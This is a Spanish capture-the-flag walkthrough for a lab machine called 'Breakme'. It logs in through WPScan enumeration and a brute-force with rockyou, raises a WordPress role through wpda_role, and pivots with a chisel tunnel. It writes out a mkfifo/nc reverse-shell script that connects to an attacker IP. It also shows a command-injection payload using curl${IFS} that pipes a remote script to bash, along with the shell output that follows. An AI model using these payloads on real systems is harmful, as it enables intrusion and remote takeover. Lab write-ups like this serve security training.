Breakme

A continuación, utilizamos WPScan para obtener una descripción general de la aplicación WordPress. Descubrimos que está ejecutando la versión 5.3.5, que es vulnerable a la enumeración de usuarios.

wpscan --url http://breakme.thm/wordpress/

wpscan --url http://breakme.thm/wordpress/ -e u,p,t
wpscan --url http://breakme.thm/wordpress/ --enumerate u
wpscan --url http://172.17.0.2/wordpress/ --enumerate u,vp

force plugin:
wpscan --url http://torrija.thl/wordpress --enumerate ap --random-user-agent --force --plugins-detection mixed
  • -e: Activa la enumeración de elementos específicos en el sitio web.

  • u: Enumera los usuarios de WordPress. Esto puede ayudar a identificar nombres de usuario para futuros ataques.

  • p: Enumera los complementos (plugins) instalados, para verificar si hay vulnerabilidades conocidas asociadas a ellos.

  • t: Enumera los temas instalados, permitiendo determinar si alguno de ellos tiene vulnerabilidades conocidas.

Tambien se puede hacer fuzzing de plugins manualmente:

Ejecutando:

gobuster dir -u http://172.17.0.2/wordpress/wp-content/plugins/ -w plugins.txt


Forzar las credenciales

Una vez que descubrimos los nombres de usuario, podemos intentar forzar las credenciales de los usuarios.

Una vez más, podemos usarlo wpscanpara esto.

wpscan --url http://breakme.thm/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt
[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - bob / soccer 

Interceptamos con burpsuite;

Le agregamos el comando vulnerable wpda_role admin tal cual:

Una vez adentro agregamos una revershell

                                                                                                        
┌──(docker㉿docker)-[~]
└─$ nc -nlvp 4444     
listening on [any] 4444 ...
connect to [10.9.2.148] from (UNKNOWN) [10.10.213.243] 44826
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux
 13:47:49 up  1:32,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Encontramos dos usuarios:

www-data@Breakme:/var/www$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash
www-data@Breakme:/$ netstat -tulnp
netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

Ejecuté netstat para ver si había otras fuentes además de las que conocemos dada la carpeta de uno de los usuarios a los que apuntaba la intranet, que es una red interna privada.

┌──(docker㉿docker)-[~/try]
└─$ ./chisel server --port 2222 --reverse
2025/01/27 15:19:42 server: Reverse tunnelling enabled
2025/01/27 15:19:42 server: Fingerprint eR32N9hJKB2s4e3VeplJATd2qN/ScPixt56ndxS17qU=
2025/01/27 15:19:42 server: Listening on http://0.0.0.0:2222
2025/01/27 15:25:37 server: session#1: tun: proxy#R:9999=>9999: Listening
www-data@Breakme:/tmp$ ./chisel client -v 10.9.2.148:2222 R:9999:127.0.0.1:9999
<sel client -v 10.9.2.148:2222 R:9999:127.0.0.1:9999
2025/01/27 15:25:36 client: Connecting to ws://10.9.2.148:2222
2025/01/27 15:25:36 client: Handshaking...
2025/01/27 15:25:37 client: Sending config
2025/01/27 15:25:37 client: Connected (Latency 431.869229ms)
2025/01/27 15:25:37 client: tun: SSH connected
2025/01/27 15:25:46 client: tun: conn#1: Open [1/1]
2025/01/27 15:25:46 client: tun: conn#2: Open [2/2]
2025/01/27 15:25:47 client: tun: conn#1: sent 652B received 3.69KB
2025/01/27 15:25:47 client: tun: conn#1: Close [1/2]
2025/01/27 15:25:47 client: tun: conn#2: sent 624B received 709B
2025/01/27 15:25:47 client: tun: conn#2: Close [0/2]
  • Se pudo establecer la conexión:

Creamos el srcipt en bash para la revershell:

  • rev.sh

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.2.148 2345 >/tmp/f
  • Creamos nuestro servidor python:

┌──(docker㉿docker)-[~/try]
└─$ nano rev.sh              
                                                                                                                                                                                                                   
┌──(docker㉿docker)-[~/try]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.213.243 - - [27/Jan/2025 15:55:37] "GET /rev.sh HTTP/1.1" 200 -
|curl${IFS}http://10.9.2.148:80/rev.sh|bash

Tenemos la conexion:

┌──(docker㉿docker)-[~/try]
└─$ nc -lnvp 2345
listening on [any] 2345 ...
connect to [10.9.2.148] from (UNKNOWN) [10.10.213.243] 59820
bash: cannot set terminal process group (534): Inappropriate ioctl for device
bash: no job control in this shell
john@Breakme:~/internal$ ls

Last updated